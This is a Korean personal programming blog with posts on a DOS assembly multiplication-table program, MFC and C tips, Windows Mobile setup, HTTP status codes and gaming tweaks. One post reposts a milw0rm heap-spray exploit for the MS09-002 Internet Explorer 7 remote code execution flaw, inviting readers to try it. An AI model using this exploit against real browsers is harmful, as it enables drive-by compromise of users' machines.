음...2년전쯤에 짠거긴하지만...

도움될 분들이 있을까 해서 ㅎㄷㄷ


PAGE 60,80
TITLE  GUGUDAN
STACK SEGMENT PARA STACK 'stack';########################STACK START
STACK ENDS;###############################################STACK ENDS
CODE SEGMENT PARA 'code';#################################CODE START
 ASSUME DS:DATA,CS:CODE,SS:STACK
;----------------------------MAIN-----------------------------------
MAIN PROC FAR
DATASEGMENT_USE:  ;   데이타 세그먼트의 사용--DATASEGMENT_USE IN
 MOV AX,DATA
 MOV DS,AX
STACT_PROG:     ;   스텍 프롤로그 과정------STACT_PROG IN MAIN
 PUSH BP
 MOV SP,BP    
 SUB SP,20
 
DAN_SU_SETTING:   ;   수의 입력-----------DAN_SU_SETTING IN MAIN
 MOV AH,01h
 INT 21h
 
 CMP AL,'A'    ;   A이면 종료
 JE ENDCODE
 
 MOV DAN,AL    ;   입력받은 수를 단에 저장
 MOV BL,31h
 
 CALL DOWN     ;   개행하는 프로시져 호출
 MOV CX,9     ;   카운터 9로 초기화
 
GUGUDAN:;--------------------------------------------GUGUDAN IN MAIN
 MOV DL,DAN    ;   단을 출력
 MOV AH,02h
 INT 21h
 CALL SPACE    ;   개행 프로시져 호출
 MOV DL,'*'    ;   별을 출력
 MOV AH,02h
 INT 21h
 CALL SPACE
 
 MOV DL,BL     ;   수를 출력
 MOV AH,02h
 INT 21h
 CALL SPACE
  
  MOV DL,'='    ;   =을 출력
  MOV AH,02h
  INT 21h
 
 CALL SPACE
 
 CALL REMUL    ;   결과값 프로시져 호출
 CALL DOWN   
 
 ADD BL,1     ;   수를 1 증가
 LOOP GUGUDAN   ;   카운터 만큼 루프
 
 JMP DAN_SU_SETTING
ENDCODE:;--------------------------------------------ENDCODE IN MAIN
 MOV AH,4Ch
 INT 21h
MAIN ENDP
;------------------------------MAIN END----------------------------
;-------------------------------SPACE------------------------------
SPACE PROC NEAR   ;   한칸띄우는 프로시져
 MOV DL,' '
 MOV AH,02h
 INT 21h
 RET
SPACE ENDP
;----------------------------SPACE END-----------------------------
;------------------------------REMUL------------------------------- 
REMUL PROC NEAR
 MOV DX,0000h   ;   초기화
 PUSH DX      ;   마지막 pop를 알기위해 저장
 MOV DL,DAN    ;   단을 DL에 저장
 MOV AL,BL     ;   수를 AL에 저장
 SUB DL,30h    ;   정수화
 SUB AL,30h    ;   정수화
 MUL DL      ;   곱하기
ITOA: ;-----------------------------------------------ITOA IN REMUL
 DIV DIVSU     ;   10으로 AL을 나눔
 MOV DL,AH     ;   나머지를 DL로 이동
 ADD DL,30h    ;   정수형을 아스키화시킴
 MOV DH,00h    ;   상위 8비트 초기화
 MOV AH,00h    ;   상위 8비트 초기화
 PUSH DX      ;   스텍에 저장
 CMP AL,00h    ;   비교하여 더이상 나눌것이 있냐?
 JE PRINT_SU    ;   없으면 출력문으로
 JMP ITOA     ;   있으면 다시 ITOA 레이블로
 
PRINT_SU:;-----------------------------------------PRINT_SU IN REMUL
 POP DX;      ;   저장된것을 가져옴
 CMP DL,00h    ;   비교,더이상 출력할것이 있냐?
 JE ENDCODE    ;   없으면 종료
 
 MOV AH,02h    ;   있으면 출력
 INT 21h
 
 JMP PRINT_SU
ENDCODE:  ;---------------------------------------ENDCODE IN REMUL
 RET 
REMUL ENDP
;------------------------------REMUL END---------------------------
;--------------------------------DOWN------------------------------
DOWN PROC NEAR   ;   줄바꿈 프로시져
 MOV DL,0Ah
  MOV AH,02h
  INT 21h
  MOV DL,0Dh
  MOV AH,02h
  INT 21h
  RET
DOWN ENDP
;-------------------------------DOWN END---------------------------
CODE ENDS;################################################CODE ENDS
DATA SEGMENT PARA 'data';################################DATA START
DAN DB 1 DUP(?)   ;   단을 저장
DIVSU DB 10     ;   나누기위한 10 저장
DATA ENDS;################################################DATA ENDS
 END
Posted by Nvdark
,

C++ (MFC)에서 IP address control 사용시 값 얻어오기!

=================================================================
헤더파일

CIPAddressCtrl E_IPv;

==================================================================

void CMetGetDlg::DoDataExchange(CDataExchange* pDX)
{
 CDialog::DoDataExchange(pDX);

 //IDC_LIST와 리스트 선언한 변수를 연결
 DDX_Control(pDX, IDC_IPADDRESS, E_IPv);
}

============================================================

//IP Address control 에서 값 얻어오기!!
 BYTE IP_a,IP_b,IP_c,IP_d;

 E_IPv.GetAddress(IP_a,IP_b,IP_c,IP_d);
 Temp.Format(_T("%d.%d.%d.%d"),IP_a,IP_b,IP_c,IP_d);

 if(IP_a==NULL || IP_b==NULL || IP_c==NULL || IP_d==NULL)
 {
  MessageBox(_T("Wrong IP Address! Plz Check your Input."),MB_OK);
 }

Posted by Nvdark
,

모바일 프로그래밍을 하고 에뮬까지 다돌려서 올렸것만.....

프래임워크 버젼이 높다고 안돌아간다;;

헐........................

2.0기반으로 다시 ㄱㄱ
Posted by Nvdark
,

옴니아를 지르고 2일만에 호기심발동하여...

윈도우 모바일 프로그래밍을 찾아봤다...생각보다 자료가 별로 없었다..;;

일단

프로그래밍을 하기위한 환경구축에 대한 정보부터 찾아봤다.

일단 내 환경은

windows vista home basic K / VS 2008 +MSDN

기본적으로 찾아봤으나 2008에서 다 제공하는것 같다.

파일->새로 만들기->프로젝트 에 들어가서 보면 VB/C#/C++ 에 스마트 장치 라는것이 있다.



이놈으로 선택하면 모바일 환경의 프로그래밍을 가능하게 해준다.

일단 간단하게 C#에서 스마트장치를 선택해 코딩을 해봤다. 그냥 메시지 박스만 띄우는 정도...



        private void MenuItemExit_Click(object sender, EventArgs e)
        {
            MessageBox.Show("Msg");
        }

저거 exit 클릭했을때 나오는 메시지 박스다. 저 함수는 그냥 메뉴 만들고 더블클릭하면 자동적으로 생성되며

안에 MessageBox.Show("Msg"); 이것만 추가해 주면된다.

그리고 컴파일 결과 성공. 그후 테스트를 해야하는데 옴니아에 바로 넣고 돌렸다.

잘되네 ㅎㅎㅎㅎㅎㅎ

그런데 혹시 모를 위험을 위해 또는 스마트폰이나 포켓피씨가 없는 사람을 위해 2008은 에뮬레이터를 제공한다.

기본적으로 윈도우 모바일 5.0 SDK와 에뮬레이터가 깔려있지만 옴니아는 모바일 6.1....ㄷㄷㄷㄷㄷㄷㄷ

찾아봤다... 역시나....6.0 SDK도 있다.;;

1. Visual Studio 2008 서비스 팩1 설치 - .NET 프레임워크 3.5 및 WIndows Mobile 개발 컴포넌트를 업데이트 할 수 있음
2. Windows Mobile 6 Professional Edition SDK  - 이거 설치하면 다른 스마트폰에서도 문제없이 개발할수있다고 나와있다.
http://www.microsoft.com/downloads/details.aspx?FamilyID=06111a3a-a651-4745-88ef-3d48091a390b&DisplayLang=en
3. 원래 Windows Mobile 6 SDK 에는 영문 밖에 없다. 그래서  Windows Mobile 6 Emulator Localization Images 를 다운로드 받아야 한다. 받으면 한글이 사용가능해 진다.
4. 마지막으로 Windows Mobile 6.1.4 Emulator Images (USA) 를 설치해 주면 되는데 여기에는 T옴니아 폰이나 HTC 터치 다이아몬드 HD 디스플레이 처럼 DPI 가 480 * 800 이미지가 포함 되어 있으므로 이를 다운로드 받아서 사용하는 것이 좋다.


스마트 폰이나 포켓PC가 없는 사람은 애뮬래이터를 설치해 줘야 하는데 위의 링크를 참조하길 바란다.

설치하고 실행을 해보자.

난 이거 어떻게 애뮬레이터 돌리는지 몰라서 또 한참....고생했다 ㅋㅋ

맞는진 모르겠지만.... 컴파일까지 완료되면 그냥 디버깅(F5 key)을 눌러보자.

디버깅을 하면


이런화면이 나오는데 에뮬레이터 선택하고 ㅇㅋ

그럼 다음과 같은 화면이 뜬다.... 그리고 클릭하면 짜잔~~~~(참고로 뜨는데 무쟈게 걸린다...내컴에선;;똥컴 ㅠㅠ)



자 다음에 계속 ㅎㅎ


Posted by Nvdark
,


0번문제 ;; 처음에 조낸 삽질; 접속했는데 아무것도 안나오고;

문제가 먼지도 몰랐다;

요점은 결국 코딩;

처음에 4개 숫자라길래 포트인줄알고 조낸 더해서 보냈다;; 하지만 서버는 알수없는문자만 계속 토하고;;

접속해서 숫자를 주는건가 했는데 역시 이상한 문자만 조낸 토하고;

뭐 결국 했지만 처음에 접속하면 어떤 값을준다; 이거 다 더해서 다시 보내면 답이~ 짜짠~

코딩을 잘 못해서 소스는 지랄;;;


환경 : windows vista / VS2008 환경

하시려면 ws2_32.lib추가해주셔야 합니다.

추가법은 제 블로그 팁에 보시면 나와있어요.


Posted by Nvdark
,

동아리 홈페이지에 올라온 글 ㅋㅋ 테스트 한번 해봐야지 ㅋㅋ ㄱㄱ


MS09-002 IE7 취약점을 이용한 Exploit 코드가 milw0rm에 떴네요.
 Remote code execution이 가능한 크리티컬 취약점입니다.
심심하시면 놀아보세염~

주소 : http://www.milw0rm.com/exploits/8079/

*취약점 코드*/

 var array = new Array();

//Don't need change but for execute time you can change ;)

var calc = 0x100000-(shellcode.length*2+0x01020);

// Spray or Not :-??

var point = unescape("%u0D0D%u0D0D");
while(point.length<calc) { point+=point;}
var sec = point.substring(0,calc/2);
delete point;

for(i=0; i<0xD0; i++) {
array[i] = sec + shellcode;
}

// N/A Code

CollectGarbage();

var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<500;x++) a1.push(document.createElement("img"));
o1=document.createElement("tbody");
o1.click;
var o2 = o1.cloneNode();
o1.clearAttributes();
o1=null; CollectGarbage();
for(var x=0;x<a1.length;x++) a1[x].src=s1;
o2.click;
</script>

# milw0rm.com [2009-02-20]

Posted by Nvdark
,

HTTP STATUS

Computing/Web 2009. 4. 7. 15:36
일하면서 자주보는 ERROR CODES

어떻게는 에러 띄워보겠다고...난리쳐도 먼내용인지 몰라서 패스할때가 ㅋㅋ



HTTP Status Code - 상태 코드 (1xx, 2xx, 3xx, 4xx, 5xx)

상태 코드
 


위에서 언급한 서버의 응답에서 요청한 상태를 표시하는 세자리 숫자와 상태를 설명하는 짧은 문구를 포함하는 것을 다음과 같이 나눌 수 있다
.

코드 범위 

응답의 의미 

100 ~ 199

200 ~ 299

300 ~ 399

400 ~ 499

500 ~ 599

정보 

클라이언트의 요청이 성공적이다.

다른 동작이 더 필요해 클라이언트의 요청을 리다이렉트 했다.

클라이언트의 요청이 불완전하다.

서버오류 

 

100 ~199 정보 응답 

100 Continue

     요청된 초기 부분은 접수되었고 클라이언트는 계속해서 요청할 수 있다.
101 Switching Protocols

     서버는 Upgrade 헤더 필드에 명시된 프로토콜로 교환하기 위한 클라이언트 요청에 따르고 있다.

 

200~299 클라이언트 요청의 성공 응답 

200-299의 범위에 있는 응답은 클라이언트의 요청이 성공적이었다는 것을 의미한다.

200 OK

     클라이언트의요청이성공적이였으며, 서버는요청한데이터를포함하여응답한다.
201 Created

     이 상태 코드는 새로운 URI가 만들어질 때마다 사용된다. 결과 코드와 함께 새로운 데이터가
     위치한 곳을 지정하기 위해
Location 헤더가 서버에 의해 주어진다.
202 Accepted

     요청은 받아들여 졌지만 즉시 실행되지는 않는다. 트랜잭션에 대한 심층 정보가 서버 응답의
     엔티티 몸체에서 주어지기도 한다
. 주의할 점은 요청이 정당한 것처럼 보였을 수도 있지만
     서버가 요청을 실제로 승인하리라는 보장은 없다는 것이다
.
203 Non-Authoritative Information

     엔티티 헤더에 있는 정보는 원래 서버가 아니라 로컬이나 다른 서버로부터 온다.
204 No Content

     이 코드는 응답할 때 주어지는 헤더이다. 그러나 응답된 실제 내용은 없다는 뜻이다.
     
이런 응답을 받는 이유는 웹 브라우저가 문서를 보기 위해 갱신을 하지 않았기 때문이다.
     
이미지맵에서 클라이언트가 이미지의 영역 중 사용하지 않거나 공백인 부분을 클릭했을 때를
     처리할 때 유용하다
.
205 Reset Content

     웹 브라우저가 추가적인 입력을 위해 사용된 트랜잭션을 지우는 것이다. CGI 애플리케이션에서
     데이터를 입력받을 때 적합하다
.
206 Partial Content

     서버가 요청된 크기의 부분 데이터를 반환하고 있다. Range 헤더 지정 요청에 응답하는 데
     이용된다
. 서버는 반드시 Content-Range 헤더와 응답에 포함된 범위를 지정해야 한다.

 

300~399 리다이렉션 

300~399 범위에 있는 응답 코드는 요청이 수행되지 않았다는 것을 나타내며, 클라이언트는 요청을 성공시키기 위해 다른 행위가 필요하다는 것을 나타낸다.

300 Multiple Choices

     요청된 URI는 하나 이상의 리소스를 참조한다. 예를 들면, URI는 여러 개의 언어로 변환된 문서를
     참조할 수 있다
. 서버에 의해 반환된 엔티티 몸체는 올바른 리소스를선택하는 방법에 대한 좀 더
     특정한 데이터의 목록을 가지고 있을수 있다
.
301 Moved Permanently

     요청된 URI는 더 이상 사용되지 않으며 요청에서 지정한 연산은 수행되지 않았다.
     
요청된 문서를 위한 새로운 위치는 Location 헤더에 명시한다. 앞으로 요청될 모든 문서는
     새로운
URI를 사용할 것이다.
302 Found

     요청된 URI는 일시적으로 새로운 URI를 가진다. Location 헤더는 새로운 장소를 가리킨다.
     
만일 이것이 GET이나 HEAD 메소드에 대한 응답이라면 클라이언트는 응답을 받자마자 요청을
     해결하기 위해 새로운
URI를 사용해야 한다.
303 See Other

     요청된 URI는 다른 URI(Location 헤더에 명시한)에서 찾을 수 있으며, 리소스는 GET 메소드로
     구할 수 있다
.
304 Not Modified

     이것은 If-Modified-Since 헤더에 대한 응답 코드로써 지정한 날짜 이래로 수정되지 않았다.
     
엔티티 몸체는 보내지 않으며, 클라이언트는 자신의 로컬 사본을 사용해야 한다.
305 Use Proxy

     요청된 URI Location 헤더에 있는 프록시를 통해서만 접근할 수 있다.
307 Temporary Redirect

     요청된 URI가 일시적으로 옮겨졌다. Location 헤더가 새로운 장소를 가리킨다. 이 상태 코드를
     받는 즉시
, 클라이언트는 요청을 해결하기 위해 새로운 URI를 사용해야 하지만, 앞으로 모든
     요청들은 이전의
URI를 사용할 것이다.

 400~499 클라이언트 요청의 불안전 응답 

400~499 범위에 있는 응답 코드는 클라이언트의 요청이 불안전하며, 클라이언트가 요청을 성공시키려면 다른 정보가 필요하다는 것을 나타낸다.

400 Bad Request

     이 응답 코드는 클라이언트의 요청에 문법적인 오류가 있는 것을 서버가 알아냈다는 것을
     의미한다
.
401 Unauthorized

     이 결과 코드는 WWW-Authenticate 헤더와 함께 그 요청에 적당한 권한이 부족했다는 것을
     나타내기 위해 주어지며
, URI를 다시 요구하면 클라이언트는 적당한 권한으로 접속해야 한다.
402 Payment Required

     이 코드는 아직 HTTP로 구현되지 않았다. 하지만 언젠가는 서버의 문서를 받아 보기 위해
     지불이 필요하다는 것을 나타낸다
.
403 Forbidden

     이 요청은 서버가 클라이언트를 가리키고 싶어하지 않아(또는 아무 이유 없이) 거부되었다.
404 Not Found

     지정한 URI에 문서가 존재하지 않는다.
405 Method Not Allowed

     이 코드는 Allow 헤더와 함께 클라이언트가 사용한 메소드가 이 URI에 대해 지원되지 않는다는
     의미이다
.
406 Not Acceptable

     클라이언트가 지정한 URI는 존재하지만 클라이언트가 원하는 형식이 아니다. 이 코드와 함께
     서버는
Content-Language, Content-Encoding, 그리고 Content-Type 헤더를 제공한다.
407 Proxy Authentication Required

     프록시 서버는 요청된 문서를 보여주기 전에 권한을 필요로 한다. Proxy-Authenticate헤더와
     함께 사용한다
.
408 Request Time-out

     이 응답 코드는 클라이언트의 모든 요청이 지정한 시간(일반적으로 서버의 구성할때 명시한다)
    
동안 처리되지 않았음을 뜻하며, 서버는 네트워크 연결을 끊는다.
409 Conflict
     
이 코드는 다른 요청이나 서버의 구성과 충돌이 있음을 나타낸다. 충돌에대한 정보는 응답되는
     데이터의 일부로 반환된다
.
410 Gone

     이 코드는 요청된 URI가 더 이상 존재하지 않고, 서버에서 완전히 사라졌음을 나타낸다.
411 Length Required

     서버는Content-Length 헤더가 없는 요청을 받아들이지 않는다.
412 Precondition Failed

     하나 이상의 If…헤더에 의해 명시된 조건에 의해 요청을 평가하여 false 값을 가지는 경우이다.
413 Request Entity Too Large
     
서버는 실제 본문이 너무 커서 요청을 처리할 수 없다.
414 Request-URI Too Long
     서버는 요청된 URI가 너무 커서 요청을 처리할 수 없다.
415 Unsupported Media Type
     
서버는 실제 본문이 지원되는 않는 형식이라 처리할 수 없다.
416 Requested Range Not Satisfiable
     
서버는 목표에 대해 어떤 유효한 값도 포함하지 않은 Range 헤더를 찾아냈다.
     
가로 If-Range 헤더는 없어졌다.
417 Expectation Failed
     
Expect 헤더에서 명시된 조건은 만족될 수 없다.

 

500~599서버 오류 

500~599 범위에 있는 응답 코드는 서버가 오류를 만나거나, 클라이언트의 요청을 수행할 수 없음을 나타낸다.

500 Internal Server Error
     
이 코드는 서버의 일부(예를 들면, CGI 프로그램)가 멈추었거나 설정에서 오류가 났음을
     나타낸다
.
501 Not Implemented
     
이 코드는 클라이언트의 요청된 행위가 서버에서 수행할 수 없음을 나타낸다.
502 Bad Gateway
     
이 코드는 서버(또는 프록시)가 다른 서버(또는 프록시)로부터의 응답이 적절하지 않음을
     나타낸다
.
503 Service Unavailable
     
이 코드는 서비스를 일시적으로 제공할 수 없으나, 앞으로 복구된다는 의미이다.
     
만일 서버가 복구될 때를 알기 위해서는 Retry-After 헤더도 함께 제공해야 한다.

504 Gateway Time-out
     
이 응답은 게이트웨이나 프록시의 시간이 경과했다는 것만 빼고는 408(Request Time-out)
     같다
.
505 HTTP Version not supported
     
서버가 요청에 사용된HTTP 프로토콜 버전을 지원하지 않는다.

※ 출처 URL : http://r00tdj.tistory.com/1

Posted by Nvdark
,

 C언어로 프로그래밍 하다보면 엔터나 띄어쓰기등을 구분해야하는 경우가있다.
포인터로 주소넘기고 어쩌고 저쩌고 어렵게 하지말고
간단하게 이렇게 하면된다

scanf("%[^\n]s",command_input);
fflush(stdin);

[^\n]을 사용함으로써 변수에 값을 저장할수있다.
그리고 이상태로 놔두면 버퍼에 값이 존재함으로 지워주자

fflush(stdin);

ex)

void main()
{
 int level_number=0;
 char command_input[100]={'\0'};
 printpage();
 while(1)
 {
  level_number=linuxmain(level_number);
  scanf("%[^\n]s",command_input);
  fflush(stdin);
  level_number=new_command_pr(command_input,level_number);
  
 }
}
Posted by Nvdark
,

워3 하다보면 짜증나게도;; 쪽지오고 말걸고 답문안온다고 화내고...
그래서 윈도우모드로 한다 ㅎㅎ
윈도우 모드로 하면 마우스를 가둬주는 프로그램이 필요해서
그 프로그램이랑 같이 올립니다.

(워3 창모드로 할줄 모르시는분을 위해.... 프로즌 쓰로우 아이콘에서 오른쪽 버튼눌러 속성가면
대상이라고 있을껌니다. 대상에 아마  ""C:\Program Files\Warcraft III\Frozen Throne.exe"" 이렇게 적혀 있겠죠.
여기에 -window 를 추가해 줌니다. 이렇게..
["C:\Program Files\Warcraft III\Frozen Throne.exe" -window]
해주고 실행하면 다음부턴 윈도우모드로 ~)

사용법은
실행후 트레이창에 아이콘 뜨면 클릭한뒤에 윈도우을 war3로 잡아주고 F7키로 가두고 풀고 합니다. ㅎㅎ

즐겜~

Posted by Nvdark
,
PCC-2200 PCA-3100 PCA-3202 PCA-2300 용 드라이버.

집에와서 우연히 카메라를 찾았는데...문제는 드라이버가 없었다는것/!!

그래서 뒤지기 시작했으나... 링크는 다 깨져있고 회사는 온데간데 사라져있고...

그래도 구했다!

아직도 쓰시는 분들이 있다면 도움이 되길...

카메라 뽑고 설치후 카메라 USB연결하신다음에 자동으로 드라이버 검색하시면 알아서 잡아요 ^^


Posted by Nvdark
,